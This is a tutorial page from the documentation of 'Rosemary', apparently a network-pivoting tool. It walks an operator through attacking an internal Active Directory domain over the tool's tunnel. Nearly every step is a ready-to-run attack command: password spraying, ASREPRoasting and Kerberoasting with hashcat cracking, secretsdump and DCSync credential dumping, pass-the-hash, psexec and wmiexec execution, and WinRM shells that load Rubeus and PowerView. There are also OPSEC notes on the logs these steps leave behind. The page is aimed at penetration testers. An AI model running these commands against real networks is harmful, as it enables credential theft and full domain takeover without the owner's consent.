> For the complete documentation index, see [llms.txt](https://rosemary-2.gitbook.io/rosemary-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://rosemary-2.gitbook.io/rosemary-docs/tutorials/active-directory-enumeration.md). Agents can also search and read this documentation through its [MCP server](https://rosemary-2.gitbook.io/rosemary-docs/~gitbook/mcp).

# Active Directory Enumeration through Rosemary

***

*Advanced · 30 minutes*

Run BloodHound, impacket, NetExec / CrackMapExec, kerbrute, and ldapsearch against an internal Active Directory domain - directly from your operator machine, no proxychains, no SOCKS, no `--target` gymnastics. Once an agent is connected on a subnet inside the domain, the transparent tunnel makes the DC look like any other reachable host.

***

### Why Rosemary Fits AD Work

AD tooling is notoriously picky about transports. Kerberos uses TCP and UDP 88, LDAP needs working DNS for SRV records, SMB uses 445, RPC uses dynamic high ports, and BloodHound's collectors expect to *initiate* connections on all of these. SOCKS5 covers TCP only and breaks DNS-aware tools that resolve SRV records; proxychains is brittle for anything multi-port.

Rosemary's transparent mode solves all of this at once:

* TCP, UDP, and ICMP to the DC subnet are intercepted at the kernel and tunneled
* DNS for internal names is fanned out to every agent and answered by whichever one can resolve it (see [Internal DNS Resolution](https://rosemary-2.gitbook.io/rosemary-docs/tutorials/internal-dns-resolution.md))
* No tool needs proxy flags - kerbrute, NetExec, ldapsearch all "just work"

***

### Prerequisites

* A Rosemary agent connected on a host that can reach the DC (joined to the domain is ideal but not required)
* Operator machine running the Rosemary server with root / Administrator privileges (Linux, FreeBSD, OpenBSD, macOS, or Windows)
* Valid domain credentials (low-privilege user is enough for most enumeration)
* The internal DNS resolver reachable through the agent (the domain controller almost always is)

***

### Step 1 - Confirm the Tunnel Reaches the DC

After the agent connects, the DC's subnet shows up automatically in `routes`:

```
rosemary> agents
ID         OS      Subnets
agent-2    linux   10.10.10.0/24, 10.10.11.0/24
```

```
rosemary> routes
10.10.10.0/24   -> agent-2   active
10.10.11.0/24   -> agent-2   active
```

Sanity check from the operator:

```bash
ping 10.10.10.5
nc -vz 10.10.10.5 445
nc -vz 10.10.10.5 88
```

If those work, every AD tool below will work too.

***

### Step 2 - Resolve the Domain

Make sure the operator can resolve the domain name through Rosemary's DNS proxy:

```bash
dig +short corp.local
dig +short _ldap._tcp.dc._msdcs.corp.local SRV
```

Both queries are intercepted on `:5300`, fanned to the agent, and answered by the DC's resolver. If the second one returns nothing, the agent's `/etc/resolv.conf` is the place to fix it.

***

### Step 3 - Quick Discovery with NetExec

[NetExec](https://github.com/Pennyw0rth/NetExec) (the maintained CrackMapExec fork, command `nxc`) is the workhorse:

```bash
nxc smb 10.10.10.0/24
```

```
SMB  10.10.10.5   445  DC01    [*] Windows 10.0 Build 20348 (name:DC01) (domain:corp.local) (signing:True)
SMB  10.10.10.7   445  FS01    [*] Windows 10.0 Build 19041 (name:FS01) (domain:corp.local) (signing:False)
```

Authenticate and pull users:

```bash
nxc smb 10.10.10.5 -u alice -p 'Spring2026!' --users
nxc smb 10.10.10.5 -u alice -p 'Spring2026!' --groups
nxc smb 10.10.10.5 -u alice -p 'Spring2026!' --pass-pol
```

Spray a password across the subnet:

```bash
nxc smb 10.10.10.0/24 -u users.txt -p 'Welcome1!' --continue-on-success
```

***

### Step 4 - LDAP Enumeration

```bash
ldapsearch -x -H ldap://dc01.corp.local \
  -D 'alice@corp.local' -w 'Spring2026!' \
  -b 'DC=corp,DC=local' '(objectClass=user)' sAMAccountName
```

Or with the `windapsearch` / `ldapdomaindump` style tools:

```bash
ldapdomaindump dc01.corp.local -u 'corp.local\alice' -p 'Spring2026!' -o ldap-dump/
```

LDAPS:

```bash
ldapsearch -x -H ldaps://dc01.corp.local -D 'alice@corp.local' -w 'Spring2026!' \
  -b 'DC=corp,DC=local' '(objectClass=domain)'
```

If LDAPS fails on cert verification (common because the operator doesn't trust the internal CA), set:

```bash
echo "TLS_REQCERT never" >> ~/.ldaprc
```

***

### Step 5 - Kerberos: kerbrute and ASREPRoast

Validate usernames without touching SMB / LDAP:

```bash
kerbrute userenum -d corp.local --dc 10.10.10.5 users.txt
```

Pull ASREP hashes for users with pre-auth disabled:

```bash
impacket-GetNPUsers corp.local/ -dc-ip 10.10.10.5 -usersfile users.txt -no-pass -format hashcat
```

Kerberoast every SPN-bound account:

```bash
impacket-GetUserSPNs corp.local/alice:'Spring2026!' -dc-ip 10.10.10.5 -request -outputfile spns.kerberoast
```

Crack the hashes locally:

```bash
hashcat -m 13100 spns.kerberoast /usr/share/wordlists/rockyou.txt
```

***

### Step 6 - BloodHound Collection

The Python collector (`bloodhound-python` / `bloodhound.py`) is the cleanest option from a Linux operator. It needs LDAP, SMB, DNS, and Kerberos - all transparent through Rosemary.

```bash
bloodhound-python -u alice -p 'Spring2026!' \
  -d corp.local -ns 10.10.10.5 \
  -c All --zip
```

```
INFO: Found AD domain: corp.local
INFO: Connecting to LDAP server: dc01.corp.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 73 computers
INFO: Connecting to GC LDAP server: dc01.corp.local
INFO: Found 412 users
INFO: Found 51 groups
INFO: Done in 02M 14S
INFO: Compressing output into 20260515120000_bloodhound.zip
```

Drag the zip into the BloodHound GUI on your operator.

For a noisier but more complete collection (sessions, local admin, GPOs):

```bash
bloodhound-python -u alice -p 'Spring2026!' -d corp.local -ns 10.10.10.5 \
  -c All,LoggedOn --dns-tcp --zip
```

`--dns-tcp` is helpful when the internal DNS only answers reliably over TCP through the tunnel.

***

### Step 7 - Targeted impacket Workflows

Once BloodHound surfaces a path, drive it with impacket - again, no proxychains:

```bash
impacket-secretsdump corp.local/alice:'Spring2026!'@10.10.10.5
impacket-psexec     corp.local/alice:'Spring2026!'@10.10.10.5
impacket-wmiexec    corp.local/alice:'Spring2026!'@10.10.10.5
impacket-smbclient  corp.local/alice:'Spring2026!'@10.10.10.5
```

DCSync (if you have the rights):

```bash
impacket-secretsdump -just-dc corp.local/alice:'Spring2026!'@dc01.corp.local
```

Pass-the-hash works the same way:

```bash
impacket-wmiexec -hashes :aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 \
  corp.local/admin@10.10.10.5
```

***

### Step 8 - SMB Shares and File Hunting

```bash
nxc smb 10.10.10.0/24 -u alice -p 'Spring2026!' --shares
nxc smb 10.10.10.0/24 -u alice -p 'Spring2026!' --spider DEPT_SHARE --content
```

Or with smbclient over the transparent tunnel:

```bash
smbclient -L //fs01.corp.local -U 'alice%Spring2026!'
smbclient //fs01.corp.local/dept -U 'alice%Spring2026!'
```

***

### Step 9 - RDP into a Pivoted Host

xfreerdp uses TCP 3389; the transparent tunnel handles it without any proxy plumbing:

```bash
xfreerdp /v:10.10.10.50 /u:alice /p:'Spring2026!' /d:corp.local /dynamic-resolution /clipboard
```

For Kerberos auth (avoids landing your NTLM hash on the wire):

```bash
KRB5CCNAME=alice.ccache xfreerdp /v:dc01.corp.local /u:alice /d:corp.local /sec:tls /from-stdin
```

***

### Step 10 - WinRM and PowerShell Remoting

Sweep for WinRM-enabled hosts:

```bash
nxc winrm 10.10.10.0/24 -u alice -p 'Spring2026!'
```

Then drop into an interactive shell with [`nimrm`](https://github.com/blue0x1/nimrm) - a native Nim WinRM client with NTLM, Kerberos, file transfer, and in-memory PowerShell / .NET helpers. Because the transparent tunnel handles WinRM (TCP 5985/5986) at the kernel, no proxy flags are needed.

NTLM password:

```bash
./nimrm -T dc01.corp.local -A 'CORP\alice' -P 'Spring2026!'
```

Pass-the-hash:

```bash
./nimrm -T dc01.corp.local -A 'CORP\alice' \
  -N aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
```

Kerberos (works through the tunnel because the KDC is reachable transparently):

```bash
KRB5CCNAME=FILE:/tmp/alice.ccache ./nimrm -k -T dc01.corp.local -Z CORP.LOCAL
```

HTTPS / TLS on 5986:

```bash
./nimrm --tls -T dc01.corp.local -A 'CORP\alice' -P 'Spring2026!' -p 5986
```

One-shot command (no interactive shell):

```bash
./nimrm -T dc01.corp.local -A 'CORP\alice' -P 'Spring2026!' -c 'whoami /all'
```

Inside the shell:

```
PS C:\Users\alice> upload ./SharpHound.exe C:\Temp\sh.exe
PS C:\Users\alice> execute-assembly ./Rubeus.exe triage
PS C:\Users\alice> invoke-script ./PowerView.ps1
PS C:\Users\alice> ad-info
PS C:\Users\alice> opsec-check
```

Pivot to a second host without leaving the shell (`nimrm` supports multiple concurrent sessions):

```
PS C:\Users\alice> session -T dc02.corp.local -k -Z CORP.LOCAL -n dc02
PS C:\Users\alice> sessions
PS C:\Users\alice> use dc02
```

***

### Operational Notes

* **OPSEC**: every authenticated probe (SMB session, LDAP bind, Kerberos AS-REQ) leaves logs on the DC. The tunnel does not anonymise you - the source IP on the wire is the **agent's** IP, not yours.
* **Throughput**: BloodHound's SharpHound collector on Windows is faster than `bloodhound-python` for huge domains. If you have a Windows agent, upload SharpHound to it and run it locally on the agent instead of pulling everything across the tunnel.
* **Stability**: long-running collections (BloodHound, secretsdump on big DCs) benefit from running on a wired/stable agent. A flaky mobile-VPN agent will reconnect mid-LDAP-query and your collector will choke.
* **Multiple agents in the same domain**: pin a specific resolver/auth path by starting a per-agent SOCKS5 proxy and pointing the tool at it (`proxychains` or `--proxy` flag). The transparent tunnel doesn't let you choose which agent answers when multiple can.

***

### Troubleshooting

**`LDAP_SERVER_DOWN` or LDAP timeouts**

Ensure `dig +short corp.local` returns the DC's address through the Rosemary DNS proxy. If it does not, fix `/etc/resolv.conf` on the agent first - BloodHound and ldapsearch follow SRV records and need DNS to work end-to-end.

**Clock skew on Kerberos**

```
KRB_AP_ERR_SKEW(Clock skew too great)
```

The operator's clock must be within 5 minutes of the DC. The tunnel doesn't fix this:

```bash
sudo chronyc -a 'burst 4/4'
sudo timedatectl set-ntp true
```

**Kerberos chooses the wrong KDC**

Set the realm explicitly so MIT Kerberos doesn't try public DNS:

```
# /etc/krb5.conf
[realms]
  CORP.LOCAL = {
    kdc = dc01.corp.local
    admin_server = dc01.corp.local
  }
[domain_realm]
  .corp.local = CORP.LOCAL
  corp.local = CORP.LOCAL
```

***

### Key Points

* Transparent mode means every AD tool works as if you were on the domain network
* DNS is the linchpin - get the agent's `/etc/resolv.conf` right and everything else follows
* BloodHound's Python collector is the easiest end-to-end test
* Use a Windows agent + SharpHound for large domains to keep collection traffic local
* The source IP on the DC's logs is the **agent's** IP, not yours
